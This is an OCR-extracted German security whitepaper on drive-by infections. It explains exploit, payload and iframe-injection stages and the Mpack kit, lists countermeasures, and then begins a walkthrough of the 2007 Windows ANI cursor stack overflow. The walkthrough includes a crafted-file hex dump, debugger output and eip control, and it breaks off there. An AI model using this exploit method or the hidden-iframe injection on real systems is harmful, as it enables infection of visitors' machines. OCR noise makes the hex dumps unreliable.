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Das vorliegende Dokument befasst sich mit dem Thema ,Drive by Infection®, vielfach auch als
,orive by Download* bezeichnet. Der Begriff ,Drive by Infection® bezeichnet einen Infektionsweg,
wie Schadsoftware auf ein Clientsystem gelangt. Im ersten Teil gehen wir auf das Konzept
solcher Angriffe ein. Der zweite Teil zeigt an einem Fallbeispiel detailliert auf, wie Angreifer dabei
vorgehen.

Das Dokument wurde im Jahre 2008 fur unsere Kunden erstellt. In einer leicht veranderten Form
ist es nun auch offiziell verfugbar.
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Tell |

Konzept

Im folgenden Teil wird das Konzept von ,Drive by Infection“-Angriffen erldutert. Dabei erhalt der
Leser Einblick, wie Angreifer dabei grundsatzlich vorgehen und welche Komponenten dabei
involviert sind.

Inhaltliche Klassifizierung Teil I

Dieses Dokument ist technischer Natur. Es werden jedoch nur
branchentibliche Begriffe verwendet.

© SWITCH 2009 3/30



"Drive by Infection" - Konzept & Fallbeispiel SWITCH

Serving Swiss Universities

1. ,,Drive by Infection“-Angriffe

1.1. Einleitung

Vor einigen Jahren wurden von Angreifern fast ausschliesslich Schwachstellen in Betriebssyste-
men oder Diensten ausgenutzt. Das Opfer oder der jeweilige Systemverantwortliche mussten da-
zu keinerlei ,Schitzenhilfe” leisten. Allein die Verbindung zum Internet reichte aus, damit Schad-
code auf ein System gelangen konnte.

Als Konsequenz daraus, vor allem auch hervorgerufen durch die unzahligen Wirmer wie Code
Red, SQL-Slammer, Nimda und deren Folgekosten, sind mehr Zeit und Ressourcen in die Absi-
cherung von Betriebssystemen und Kerndiensten geflossen. So verfigen heute die meisten
Clientsysteme beispielsweise Uber eine Form von Personal-Firewall. Ebenso schitzen NAT-
Devices die Systeme vor direkten Angriffen aus dem Internet. Schliesslich haben auch um-
fangreiche Codeaudits der Hersteller die Sicherheit von Kernkomponenten wesentlich verbessert.
Angreifer haben darauf reagiert. Sie zielen heute vermehrt auf Schwachstellen in client-seitigen
Applikationen ab oder direkt auf den Menschen als vermeintlich schwéachstes Glied in der Kette.
Eine Form solcher Angriffe ist unter dem Begriff ,Drive by Infection® bekannt.

1.2. Definition

Der Begriff ,Drive by Infection® bezeichnet einen moéglichen Infektionsweg, wie Schadsoftware auf
ein Clientsystem gelangt. Dabei ist immer auch eine Interaktion des Opfers notwendig. So muss
es beispielsweise auf einen Link in einer E-Mail klicken oder aktiv eine Webseite ansteuern. Ist
dies der Fall und der Rechner des Opfers weist eine Schwachstelle im Webbrowser oder in einer
Uber den Webbrowser aufgerufenen Applikation auf, wird diese automatisch ausgenutzt. Erst in
einem zweiten Schritt wird dann der eigentliche Schadcode nachgeladen. Das Opfer merkt
vielfach tUberhaupt nichts von dem Angriff. Je nach ausgenutzter Schwachstelle kommt es jedoch
vor, dass der Webbrowser unverhofft beendet wird. Da er anschliessend aber wieder einwandfrei
funktioniert, schoépfen die wenigsten Leute Verdacht. Weder eine Personal-Firewall noch ein
NAT-Device bieten ausreichend Schutz vor solchen Angriffen. Im Abschnitt ,Gegenmassnahmen®
gehen wir naher auf diese Problematik ein.

1.3. Komponenten eines ,,Drive by Infection“-Angriffs

Ein ,Drive by Infection“-Angriff baut grob auf den folgenden Komponenten auf:

Exploitcode

Payload
Angriffsvektor/Verteilweg

die eigentliche Schadsoftware

Der gesamte Ablauf ist in der Grafik auf Seite 7 dargestellt. Im Folgenden beschreiben wir die in-
volvierten Komponenten und deren Funktion genauer.
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1.3.1. Exploitcode

Der Exploitcode nutzt die vorhandene Schwachstelle aus. Die wenigsten Angreifer entwickeln
diesen selber, da dazu ein hohes Mass an Wissen erforderlich ist. Das ist auch nicht zwingend
notwendig, sind doch Exploitcodes im Internet in unterschiedlicher Qualitat frei verfiigbar’. Die
Angreifer passen lediglich den Payload (siehe unten) ihren BedUrfnissen an. Um eine Analyse zu
erschweren, wird der Code haufig mittels Verschleierungstechniken unleserlich gemacht. Bei den
ausgenutzten Schwachstellen handelt es sich um Fehler im Webbrowser oder in einem der
installierten Plugins. Im zweiten Teil des Dokuments entwickeln wir einen Exploit Schritt flr
Schritt.

1.3.2. Payload

Der Begriff Payload bezeichnet den Code oder die Befehle, die unmittelbar nach dem Ausnutzen
der Schwachstelle ausgefihrt werden. Die Funktion des Payloads wird durch den zur Verfigung
stehenden Speicherplatz begrenzt. Aus diesem Grund ist er sehr kurz gehalten und fihrt nur
einige wenige Aktionen aus. In den meisten Fallen baut er eine Verbindung zu einem anderen
Server im Internet auf, 1adt den eigentlichen Schadcode herunter und fuhrt ihn schliesslich aus.
All dies ist mit einigen hundert Bytes realisierbar. Im Internet stehen verschiedene frei erhaltliche
Tools zur Erzeugung von Payloads zur Verfligung. Im zweiten Teil nutzen wir eines dieser Tools?,
um einen speziell auf unsere Situation angepassten Payload zu erstellen.

1.3.3. Angriffsvektor / Verteilweg

Als nachstes muss der Angreifer seine Opfer dazu bringen, den Exploitcode zu aktivieren. Dies
kann prinzipiell auf folgende Arten geschehen:

Bullet-Proof Hosting:

Fraher erfolgten solche Angriffe meist mithilfe von E-Mails. Diese enthielten einen Link auf
eine speziell praparierte Webseite, die unter direkter Kontrolle des Angreifers lag. Die
Webseite wurde bei ,Bullet-Proof-Hosting“® Firmen gehostet. ,Bullet-Proof Hosting*
bedeutet vereinfacht, dass auf Beschwerdemails Uberhaupt nicht reagiert wird. Der
Schadcode bleibt somit sehr lange online. Opfer wurden lediglich diejenigen, die bewusst
auf solche Links klickten. Ein gesundes Mass an Misstrauen verhinderte somit diese An-
griffe.

Kompromittieren von Webseiten:
Um eine grossere Anzahl an potenziellen Opfern zu erreichen, werden heute immer haufi-
ger Webseiten von legitimen Anbietern kompromittiert. Waren dies zu Beginn eher kleine-
re und unbedeutendere Webseiten, sind es heute vermehrt auch prominente und viel be-
suchte Plattformen wie USAToday, ABCNews, Walmart, Forbes oder Unicef’.

Die Angreifer nutzen dabei Schwachstellen in den Webapplikationen aus und binden ein
so genanntes IFrame in die Seite ein. Das IFrame-Tag kreiert ein Frame, das ein anderes
Dokument beinhaltet. Das Dokument muss dabei nicht auf dem gleichen Server liegen.
Nachfolgend ein Beispiel eines IFrames:

<iframe src ="www.otherserver.com/test/test.php” width="0" height="0" border="0"></iframe>

" www.milwOrm.com
2 www.metasploit.com
® ddanchev.blogspot.com/2008/04/unicef-too-iframe-injected-and-seo.html
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Beim Besuch der legalen Webseite zieht der Browser automatisch den Inhalt des IFrames
nach. Die Angreifer missen den eigentlichen Exploitcode also nicht auf jeden kompromit-
tierten Webserver kopieren. Es reicht aus, wenn dieser auf einigen wenigen, lange ver-
fugbaren Systemen liegt. Fir den Besucher der Webseite selbst ist das IFrame-Element
nicht direkt ersichtlich.

1.3.4. Schadcode

Der Schadcode wird, wie bereits erwahnt, durch den Payload nachgeladen. Durch den Schad-
code umgeht der Angreifer die beim Payload oft vorhandene Gréssenbeschrankung. Denn meist
sind fur den Payload lediglich einige hundert Bytes verfigbar. Die Funktion des Schadcodes
hangt von den Zielen des Angreifers ab, kann aber beliebige Aktionen auf dem System ausfuh-
ren. Beispiele sind u.a.:

Andern von Firewall-Einstellungen

Installation eines Keyloggers

Installation einer Hintertlire

Integration des Systems in ein Botnet

Sammeln séamtlicher *.doc, *.ppt, *pdf. *xIs Dateien

Verédndern oder L6schen von Daten

Software, die gegen Kunden von Internet-Banking abzielt wie beispielsweise
Torpig/Sinowal usw.

Um sowohl die Analyse des Schadcodes wie auch deren Entdeckung durch Virenscanner zu er-
schwer, ist der Schadcode in aller Regel mit einem Packer bearbeitet worden. Ein Packer hatte
urspringlich zum Ziel, die Grdsse einer ausfuhrbaren Datei zu verringern. Die Funktionsweise
von Packern erschwert die Analyse, weil der eigentliche Code innerhalb eines Disassemblers
nicht lesbar ist.

Ablauf:

Der Ablauf eines ,Drive by Infection“-Angriffs ist auf der nachfolgenden Seite grafisch durch die
folgenden vier Schritte dargestellt:

1. Der oder die Angreifer kompromittieren zuerst eine Webseite. Dort wird dann unbemerkt
ein IFrame-Tag eingefligt.

2. Das IFrame zeigt auf einen anderen Server. Besucht das Opfer seine bevorzugte
Webseite (z.B. mycO0I-website.com), 1&dt der Webbowser das IFrame beziehungsweise
die referenzierte Seite von evil-server.com. Diese Seite analysiert den Webbrowser des
Besuchers wie beispielsweise die Version, den Typ oder auch die vorhandenen Plugins.

3. Aus den gesammelten Daten wird anschliessend der entsprechende Exploit ,angeboten®.
Dies geschieht allerdings nur, wenn die Analyse flir den Angreifer erfolgsversprechend
ausféallt. Immer 6fter wird der Exploitcode nur einmal pro System ,ausgeliefert®. Dies, um
die Analyse des Exploits zu erschweren.

4. [Ist der Exploit erfolgreich, zieht der Payload den eigentlichen Schadcode nach. Dieser
kann auf einem beliebigen Server liegen. Der Schadcode wird auf dem System
ausgefiihrt, ohne dass der Benutzer etwas davon merkt. Eintrdge in bestimmten
Bereichen der Registry oder die Installation von Diensten erlauben es der Schadsoftware,
einen Systemstart zu (iberstehen.
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1.4. Mpack

,orive by Infection® erlaubt es, sehr viele Systeme auf einen Schlag zu infizieren. Dazu muss der
gesamte Ablauf aber soweit wie moglich automatisierbar sein. Mittels web-basierter Angriffstools
wie Mpack oder Neosploit, nur um zwei zu nennen, stehen den Angreifern dafir effiziente Werk-
zeuge zur Verfigung.

Mpack ist ein php-basiertes Tool mit einer einfach zu bedienenden Benutzeroberflache. Es bein-
haltet unterschiedliche Exploitcodes, Uber die Systeme infiziert werden. Der Ablauf dhnelt dem-
jenigen in Abbildung 1. Mpack wird in Schritt 2 eingesetzt und liefert nach der Analyse des Web-
browsers den entsprechenden Exploit aus. Ist der Angriff erfolgreich, werden Daten zu dem eben
infizierten System im Administratoren-Interface von Mpack aktualisiert. Durch den Schadcode
kann dann die vom Angreifer gewinschte Aktion ausgefihrt werden. Der Aufbau eines Botnets
wird so zum Kinderspiel.

MPack v0.90 stats

Attacked hosts (total - unig) Traffic (total - unig)
IE XP ALL 114721 - 96104 Total traff 159073 - 129089
QuickTime 2175 - 2048 Exploited 44804 - 35574
Win2000 7033 - 6260 Loads count 17408 - 15968
Firefox 12885 - 12514 Loader's response 38.85% - 44.80%
Opera? 1271 - 1264 Efficiency 10.94% - 12.37%

Browser stats (total) Modules state
4 Statistic e MySQL-based
User blockin On

MSIE ]
Opera ; 17 Country blocking

Country Traﬂ Loads Efficiency

= RU - Russian federation 11279, 12653 11.22%

& UA - Ukraine 16665 157” 10.02%
I IT - Ttaly 7"35 22 8.42%
I GE - Georgia 105 I 11.65%
I BY - Belarus 5419 12.12%
I KZ - Kazakstan 2098 °7G 12.14%
E= S - United states 1117 4.48%
I A7 - Azerbaijan 1['6“ 12.08%

Abblldung 2 Admlnlstratoren Interface von Mpack V0.90

Die Software selber kostet zwischen 500 und 1000 USS$. Selbstverstandlich erhalt der Kaufer
auch regelmassige Updates und entsprechenden Support. Je nach Version stehen unterschiedli-
che Exploits zur Verfugung. Aufgrund des Aufbaus von Mpack lassen sich neue Exploits relativ
einfach integrieren. Eine detaillierte Analyse von Mpack ist unter dem Link im Anhang zu finden

[1].
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1.5. Gegenmassnahmen

Software aktuell halten

Fur den Heimanwender ist es entscheidend, seinen Computer aktuell zu halten. Dies beinhaltet
nicht nur das Betriebssystem, sondern vor allem auch Applikationen von Drittherstellern. Die mei-
sten Applikationen bieten dazu eine automatische Update-Funktion. Mit dem Personal Software
Inspector (PSI) von Secunia steht dafir zudem ein kostenloses Tool zur Verfigung. Dieses
analysiert den eigenen Rechner periodisch nach veralteter Software und warnt den Benutzer. Der
PSI ist so eine hilfreiche Unterstutzung.

Einschrdnken von JavaScript-Code

Ein sinnvoller Schutz bei ,Drive by Infection“-Angriffen kann die Einschrankung von JavaScript-
Code sein. Fiir Nutzer von Firefox steht dafiir das ,NoScript“-Plugin® zur Verfiigung. Beim Inter-
net Explorer lassen sich ebenfalls Einstellungen zu JavaScript machen. Es ist allerdings darauf
hinzuweisen, dass bei diesen Lésungen die Benutzerfreundlichkeit erheblich leidet und in der
Praxis oft nur von Spezialisten ohne grosses Argernis eingesetzt werden kann.

Virenscanner

Virenscanner sind frei verfigbar und sollten auf jeden Fall installiert und aktuell gehalten werden.
Allerdings sollte man sich nicht auf deren alleinigen Schutz verlassen. Die Erkennungsrate von
solchen Produkten nimmt bei der Masse von neuer Schadsoftware standig ab. Teuer heisst hier
nicht in jedem Fall besser. So schliessen frei erhaltliche Virenscanner mitunter gleichgut oder gar
besser ab als kostenpflichtige Produkte.

Arbeiten mit eingeschrénkten Rechten

Eine weitere Erhéhung der Sicherheit bringt das Arbeiten mit einem eingeschrankten Benutzer-
konto. Zwar ist eine Infektion wie hier beschrieben nach wie vor madglich, allerdings wird es fir
den Schadcode wesentlich schwieriger, sich permanent im System einzunisten.

Intrusion Prevention Software

Schliesslich kann Zusatzsoftware wie diejenige von Whenus (http://www.wehnus.com/) selbst vor
unbekannten Exploits schitzen. Das Tool implementiert Address Space Layout Randomization
(ASLR) und ist fur den Heimanwender kostenlos verfuigbar. Dadurch werden von Angreifern hau-
fig gewahlte, fixe Adressen (z.B. eine ,jmp ebx“ Adresse innerhalb von kernel32.dll) unbrauchbar
und der Exploit bleibt somit erfolglos.

Hinweis: ASLR ist bei Windows Vista und Windows 7 bereits standardmassig vorhanden.

* https://addons.mozilla.org/de/firefox/addon/722
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Teil 1l

Fallbeispiel

Im folgenden Teil wird ein Fallbeispiel detailliert erlautert. Dabei erhalt der Leser Einblicke, wie
Angreifer dabei vorgehen:

* Der erste Abschnitt (2.1) diskutiert die client-seitige Schwachstelle, (iber die die ,,Drive by
Infection® erfolgt.

* Der zweite Abschnitt (2.2) zeigt Schritt fiir Schritt auf, wie diese Schwachstelle liber den
Webbrowser ausgenutzt wird. Es werden sémtliche fiir die Entwicklung eines Exploits
relevanten Phasen diskutiert und aufgezeigt. Wir zeigen ebenfalls, wie der Payload
generiert werden kann und wie der Schadcode so auf das System gelangt. Aus dem
entstandenen Exploit wird mittels Heapspraying ein zuverlassiger Exploitcode.

* Der dritte Abschnitt (2.3) befasst sich kurz mit Schwachstellen bei Webapplikationen. Es
sind solche Schwachstellen oder Fehlkonfigurationen, tiber die Angreifern IFrames in
Webseiten einfiigen. Ein konkretes Beispiel wird Schritt fiir Schritt erldutert.

* Im vierten und letzten Teil (2.4) wird aufgezeigt, wie die eigentliche Schadsoftware
entsteht und welche Funktionen sie u.a. beinhalten kann.

Inhaltliche Klassifizierung Teil Il:

Dieses Dokument ist sehr technisch. Vertieftes Spezialwissen wird
vorausgesetzt.
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2. Fallbeispiel

2.1. Die client-seitige Sicherheitsliicke

Als client-seitige Schwachstelle wird die im Jahr 2006 bekannt gewordene Sicherheitsliicke bei
der Verarbeitung von animierten Mauszeigern diskutiert. Sie wurde von Alexander Sotirov Ende
2006 an Microsoft gemeldet und im Fruhjahr 2007 gepatcht. Betroffen waren unterschiedliche
Betriebssysteme von Microsoft. Als Angriffsvektor dienten unter anderem der Internet Explorer
und Outlook. Mpack weist unter anderem einen Exploit fir die hier besprochene Schwachstelle
auf. Dies ist der Grund, wieso wir diese Schwachstelle gewahlt haben. Es war zudem die erste
nennenswerte Schwachstelle in Windows Vista. Weitere Informationen zur Schwachstelle sind im
Anhang zu finden [2] [3].

2.1.1. Das ANI-Fileformat’

Die Schwachstelle liess sich bei der Verarbeitung von speziell praparierten .ani-Dateien aus-
nutzen. ANI-Dateien sind bei Windows-Systemen besser bekannt als animierte Mauszeiger. Ein
Beispiel ist die Sanduhr, in die sich der Mauszeiger bei bestimmten Aktionen verwandelt. Die
Zeiger lassen sich uber die Systemeinstellungen und dem Menidpunkt ,Maus“ auswahlen. Das
ANI-Fileformat basiert auf dem RIFF-Fileformat (Abbildung 3).

Basic File Layout
Name ID
RIFF HeaderlD = 'ACON'
[ [anin |header chunk
LIST |HeaderlD = 'fram’
' licon|single frame
|seq (optional) specifies the display sequence of frames. Notice the space after the 'q'.
|rate (optional) specifies the display timing of frames

Abbildung 3: ANI-Fileformat basierend auf RIFF

Name Size Description
HeaderSize 4 bytes |size of this structure (=32)
NumFrames 4 bytes |number of stored frames in this animation
NumSteps 4 bytes |number of steps in this animation (may include duplicate frames, = Nu
Width 4 bytes [total width in pixels
Height 4 bytes [total height in pixels
BitCount 4 bytes |number of bits/pixel ColorDepth = 2BitCount

NumPlanes 4 bytes =1
DisplayRate 4 bytes |default display rate in 1/60s (Rate =60/ DisplayRate fps)

Flags 4 bytes |currently only 2 bits are used
[ Ireserved bits 31..2 |unused =0
SequenceFlag bit 1 TRUE: File contains sequence data
IconFlag bit 0 TRUE: Frames are icon or cursor data
FALSE: Frames are raw data

Abbildung 4: anih-Block

® http://www.daubnet.com/formats/ANI.html
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Wie zu sehen ist, enthalt eine ANI-Datei unter anderem einen so genannten anih-Block. Dieser
wiederum besteht aus mehreren Feldern, die zusammen stets eine Lange von 36 Bytes aufwei-
sen (Abbildung 4). In Abbildung 5 ist eine .ani-Datei im Hexeditor dargestellt. Zu beachten sind
die vier Bytes unmittelbar nach dem anih-String (rot umrandet). Dabei handelt es sich um die
Lange des anih-Blocks (24 in hexadezimal entsprechen dem Wert 36 in dezimal).

i3 XVI32 - hourglas.ani
File Edit Search Address Bookmarks Tools XVIscript Help

DEeEEX & B2@EQAAE § K2

|-4946462823000041434F4E4C49535446EIFFt.DDACDNLISTFil

11 |00 00 00 49 4E 46 4F 49 4E 41 4D OB 00 00 00 42 6F DOODDINFOINAMOOODHo
2Z |75 72 20 47 6C 61 73 73 00 00 49 41 52 54 26 0000 jlur GlassOOIART&OD
33 |00 4D 69 63 72 6F 73 6F 66 74 Z0 43 6F 72 70 6F 7Z [0 Microso ft Corpor
44 |61 74 69 6F 6E 2C 20 43 6F 70 79 72 69 6768 74 20 lation, Copyright
58 31393933006162696824000000 19930anih$000¢000
66 |OF 00 00 00 OF OO QO OO OO QO OO OO OQOOOOODOOOO DDDOOOOOOODODODOOODOODO
77 |00 000000000000 OEOODOQOODOLOOOOOD?Zel DDODDDODOODOODOODODODODOTE a
88 |74 65 3C 00 00 00O OE QO QD ODOEOOOQOOODOEOOOO |te<O0D0O0D0O0ODODOOOOODO
99 |00 OE 00 00 00 OE 00 00 OO0 OE 00 00 00 OE 00 00 00 DDDDDDDDDDDDDDDDDLI

Adr. hex: 0 Char dec: 82 |Overwrite

Abbildung 5: Hexadezimaldarstellung des animierten Sanduhrzeigers

2.1.2. Analyse der Sicherheitsliicke

Das Problem bestand in der Verarbeitung eines zweiten anih-Blockes, bei dem der Wert flr das
Langenfeld grosser als die erwarteten 36 Bytes war. In so einem Fall wurde der Langswert nicht
auf seine Richtigkeit hin geprft und als Zahler bei einer Kopieroperation verwendet. In Abbildung
6 ist eine entsprechend manipulierte .ani-Datei im Hexeditor ersichtlich.

File Edit Search Address Bookmarks Tools X¥Iscript Help
DS X & B2EmAay ¢

I- i-¥# 49 46 46 1A FE 00 00 41 43 4F 4E 61 6E 69 68 24 EIFFDpDDACONanih$£|
1l |00 00 00 24 00000000 0Z0000O0O0OO0QOOCOO0OO0OO00 |0D0Ds00D00D0O0O0O0OOODODO
2Z |00 00 00 00 00 00 Q0O 00O 0D O0D QO OO OO ODOOOOOD | 00D0DOOOOOODODOOOOOODO
33 |00 01 00 00 00 61 6E 69 683 A8 FD 00D 00 61 61 61 61 00000 anih” yO0Oaaaa
44 |61 61 61 61 61 61 61 61 61 €1 61 6l 6l 6l €l €l el laaaaaaaaaaaaaaaaas

55 |61 61 61 61 61 61 61 61 61 61 61 61 61 61l 6l 6l €6l laaaaaaaaaaaaaaaaas
66 |61 61 61 61 61 61 61 61 61 61 61 61 61 6l 6l €l €l laaaaaaaaaaaaaaaaasn
77 |61 €1 61 61 €61 61 61 61 61 €1 €1 61 61 6l €l €l €l laaaaaaaaaaaaaaaaas
88 |6l 61 61 61 61 61 61 61 61 61 61 61 €1 6l €6l €l €l laaaaaaaaaaaaaaaaasn
99 |6l 61 61 61 61 61 61 61 61l €1 61 61 6l 6l €l €l el laaaaaaaaaaaaaaaaas
Ak |61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 €1 €1 aaaaaaaaaaaaaaaaaﬂ

Adr. hex: 0 Char dec: 82 Overwrite

Abbildung 6: Speziell manipulierte ani-Datei mit zweitem anih-Block

Diese Datei reicht aus, um den Explorer abstirzen zu lassen (siehe Abbildung 7). Falls die Datei
auf dem Desktop erstellt wird, entsteht eine regelrechte Denial-of-Service-Attacke. Der Explorer
stirzt ab, startet sich selbst wieder, nur um ein weiteres Mal abzustirzen.
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File Edit VYiew Favorites Tools Help
K)E:a:& -\) L’ /‘:) Search [L; Folders v

File and Folder Tasks

() Make a new folder
&) Publish this folder to the

Web
2 Share this folder
Windows Explorer.

Other Places Windows Explorer has d a problem and d

to close. We are sonry for the inconvenience.

[) Desktop

B i BEETETES If you were in the middle of something, the information you were working on

[ Shared Documents might be lost.

# My Computer Please tell Microsoft about this problem.

‘3 My MNetwork Places ‘We have created an error report that you can send to help us improve
Windows Explorer. We will treat this report as confidential and
anonymous.

Details To see what data this error report contains, click here.

Debug | Send Ermor Report | Don't Send I

Abbildung 7: Der Dateimanager stiirzt ab

Zur weiteren Analyse der Schwachstelle wird ein Debugger benétigt. Ollydbg® ist frei erhaltlich
und wird im weiteren Verlauf verwendet. Als Erstes wird Ollydbg als Just-in-time-Debugger konfi-
guriert. Dies erfolgt Gber den Menupunkt ,Options -> Just-in-time debugging®. Wird in der oberen
Abbildung auf ,Debug* geklickt, 6ffnet sich Ollydbg automatisch.

OllyDbg - Explorer.EXE - [CPU - thread 000001AC, module USER32]
@ File View Debug Plugins Options Window Help

TI0US_Ou0l
ECHREDS GODIE7ED ASCII "aaaaaaaaaaasaaaasaaaasasaaaaaaaaa

D ECX,3 . X % DEBD3I1E
MOUS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] BOBBFDAS
DWORD PTR DS:[EAX+41,EDX " BAAOFDAS
ERX, EAX BODIEE7C

e P GODIEESE
£ S1 @19D197C ASCII "333333333333333333333333333333333

B
SHORT USER32.77D33ADS BEDABAEE
S— 77D83AC3

(5[5

(FFFFFFFF)
(FFFFFFFF)
(FFFFFFFF)

ASCII A
44 95+ 9B vEE 98| —
1290 ea [~ wBFF 08| (=
u e eBA 0B, .. .

Tl oty
Tl o)

IOOOOOO00OOD
000000000 E

v

%
Jalt
a
%

%
151

88 10| 4 A0
A8 151 4F h ACozo m T H

Access |o|at|on when writing to [00DADO0D] - use Shift+F7/F8/F3 lo pass exception to program Paused

Abbildung 8: Analyse des Crashes mittels Ollydbg

¢ www.ollydbg.de
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Im Fensterabschnitt oben links ist der ausfiuihrbare Code in Form von Assembleranweisungen
und den entsprechenden Opcodes zu sehen. Im Fenster oben rechts sind die einzelnen Register
ersichtlich. Das Fenster unten links zeigt einen Hexdump ab Adresse 0x01046000. Rechts unten
ist schliesslich der Stack dargestellt.

Ganz unten ist zu erkennen, dass ein Speicherzugriffsfehler aufgetreten ist. Der Prozessor ver-
sucht den Wert 61616161 an die ungultige Adresse 00DAO00O zu schreiben. Der Wert 61616161
stellt vier kleine ,a’ dar und stammt direkt aus der von uns manipulierten .ani-Datei (Vergleiche
Abbildung 6). Wie oben links zu sehen ist, wird der Inhalt auf den das esi-Register zeigt an den
Ort im Speicher kopiert, auf den das edi-Register zeigt. Das ecx-Register dient in diesem Fall als
Zahler. Weiter zu beachten ist die Tatsache, dass edi in diesem Moment auf das Stacksegment
zeigt. Entsprechend werden auf dem Stack gespeicherte Daten mit unserem .ani-Datei-Inhalt
Uberschrieben. Das Problem hier ist der Wert von ecx. Dieser sollte gemass dem ANI-Fileformat
stets 24,4 sein. In der von uns manipulierten .ani-Datei ist dieser Wert aber von uns auf FDA8} e«
gesetzt. So wird eine (zu) grosse Menge an Daten in einen fixen, kleinen Datenblock geschrie-
ben. Wir haben es hier also mit einem klassischen Textbuch-Stackoverflow zu tun.

2.2. Entwickeln des Exploits

Stackoverflows lassen sich einfach ausnutzen, zumindest, wenn keine zusatzlichen Schutzmass-
nahmen auf den Systemen implementiert sind. Bevor wir uns mit der Entwicklung des Exploits
befassen, bendtigen wir zuerst mehr Informationen Uber die Rolle des Stacks.

2.2.1. Rolle des Stacks

Beim Stack handelt es sich um einen speziellen Speicherbereich, der als LIFO implementiert ist.
LIFO steht flr Last-in, First-out. Es bezeichnet die Art und Weise, wie Daten auf den Stack ko-
piert beziehungsweise wieder entfernt werden. Zwei der bekanntesten Assembleroperationen im
Zusammenhang mit dem Stack sind der pop- und der push-Befehl. Beim pop-Befehl wird der zu-
letzt hinzugefugte Wert auf dem Stack in ein entsprechendes Register geladen, also beispiels-
weise in das ecx-Register bei einem ,pop ecx”. Im umgekehrten Fall wird ein neuer Wert auf den
Stack gelegt. Als Beispiel wird der Wert in ecx mittels ,push ecx“ auf den Stack gelegt. Der Stack
wachst bei einer push-Operation von niedrigen in Richtung hoher Adressen im Speicher. Bei ei-
ner pop-Operation schrumpft der Stack in umgekehrter Richtung. Dies trifft zumindest bei der IA-
32 Architektur zu, auf denen beispielsweise Windows und Linux laufen.

Der Stack ist fur den Prozessor wie eine Art Werkbank. Er legt dort beispielsweise temporare In-
formationen ab, liest diese ein oder verandert sie. Der Stack wird vor allem auch beim Aufruf von
Funktionen verwendet, indem Argumente der Funktion vorher auf den Stack gelegt werden. Ne-
ben Argumenten und lokalen Variablen liegen auf dem Stack auch eine Art Managementinforma-
tionen. Diese sind fir den weiteren Programmablauf zwingend erforderlich. Eine solche Manage-
mentinformation ist die so genannte Ricksprungadresse. Diese wird bei jedem Funktionsaufruf
temporar auf den Stack gelegt und beinhaltet diejenige Adresse, an deren Stelle der Prozessor
den nadchsten Befehl nach Beendigung der Funktion findet. Sie stellt also den weiteren Pro-
grammablauf nach einem Funktionsaufruf sicher. Bei der Beendigung einer Funktion wird der
Wert, auf den der Stackpointer (esp-Register) zeigt, in den Instruction Pointer (eip-Register) gela-
den. Eip beinhaltet stets die Adresse des nachst auszufiihrenden Befehls. Als Folge springt der
Prozessor an diese Adresse und fuhrt die dort befindliche Instruktion aus. Lange Rede, kurzer
Sinn: Die Kontrolle Gber eine Ricksprungadresse ist in den meisten Fallen gleichbedeutend mit
der Kontrolle tUber den weiteren Programmablauf. Dies zeigt sich stets beim Wert des eip-Re-
gisters. Kann ein Angreifer diesen Wert beeinflussen, hat er sein erstes und wichtigstes Ziel be-
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reits erreicht. Die nachfolgend aufgefiihrte .ani-Datei erlaubt es uns, die Kontrolle Gber das eip-
Register zu erlangen. Zu beachten ist die veranderte Lange (8004ex) beim HeaderSize Feld an
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Das Ergebnis ist in der nachfolgenden OllyDbg-Ausgabe zu erkennen.

Abbildung 9: Kontrolle iiber eip mit .ani-Datei

OllyDbg - Explorer.EXE - [CPU - thread 00000620]
|§| File VYiew Debug Plugins Options Window Help

Blx| win s+ &4 A + LE|M|

<

[T =T

T|wn|c|/|K|B[R]..| 5]

Registers (FPU)

61616161
7C91856D
Baa30603
B12FE7VE@
B12FE72C
61616161
B12FE7PSC
B12FE72C

61616161

E

it B(FFFFFFFF)

&(FFFFFFFF)

t @(FFFFFFFF)
8(FFFFFFFF)

chit ZEEN4AAaIFEE]
161
SR 61616161 A
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161
61616161 —
gieielel
61616161 b
program I Paused

Durch die geringere Anzahl an Zeichen uberschreiben wir nicht den gesamten Stack. Es reicht

Abbildung 10: Kontrolle iiber eip

aus, wenn wir eine Riicksprungadresse mit unseren Zeichen (61616161 -> aaaa) kontrollieren.
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2.2.2. Programmablauf verandern

Wir haben die Kontrolle Uber den weiteren Programmablauf, da wir den Wert in eip zu einem be-
stimmten Zeitpunkt kontrollieren. Damit kdnnen wir an beinahe jede beliebige Stelle im Speicher
springen. Es stellt sich die Frage wohin? Das Ziel eines Angreifers ist es, seinen Code auszufih-
ren. Den Code kénnen wir mit dem Inhalt der .ani-Datei Ubermitteln. Wir brauchen dazu lediglich
einige a’s mit unserem Code zu ersetzen. Dieses Problem ist also geldst. Was wir aber nicht
wissen ist wo unser Code im Speicher zu liegen kommt. Damit ist es auch nicht mdglich, eip mit
einer bestimmten Adresse zu uberschreiben, oder?

Die Antwort liefert Abbildung 10. Zum Zeitpunkt des Programmabsturzes zeigen mehrere Regis-
ter auf unsere Zeichenkette. Zwar mdgen sich die jeweiligen Adressen andern. Die Positionen,
an die die Register innerhalb der Zeichenkette zeigen, bleiben dieselben. Dies lasst sich flr un-
sere Zwecke nutzen. Um an unseren Code innerhalb der .ani-Datei zu springen, bendtigen wir
folgende Informationen:

1. Welche vier Zeichen kontrollieren zum Zeitpunkt des Absturzes eip?
2. Wo finden wir beispielsweise eine ,call ebx“ Anweisung?
3. Auf welche Position innerhalb des Strings zeigt ebx zum Zeitpunkt des Absturzes?

Die Antwort auf die erste Frage lasst sich mittels trial-and-error finden. Das Resultat davon ist in
Abbildung 11 zu sehen. Die vier Zeichen, mit denen eip kontrolliert werden kann, liegen an Offset
0x90 innerhalb der .ani-Datei.

OllyDbg - explorer.exe - [CPU - thread 00000208] (=13
@ File View Debug Plugins Options Window Help - | & X
B4 x| w1 wi+ $1 » = L|E[M[T|W[H|c|/|K|B[R|...[5]| E[E]?]

~ |Registers (FPU) < < <
EAX 61616161
ECX 7C91856D ntdll.7C218S6D
EDX 88698683
EBX B113E7E@ ASCII "aaaabiaaaazaaaszaaaszsasassssaszssaas
ESP B113E72C RASCII "aaaaaaaaaaaaa3aaaaaaaaaaaaaasaaaas
EBP 61616161
ESI B113E7SC ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaiaaaas
EDI B113E72C ASCII "aa3333333333333333333333333333333
7 EIFP 585853858
C @ ES 66 B(FFFFFFFF)
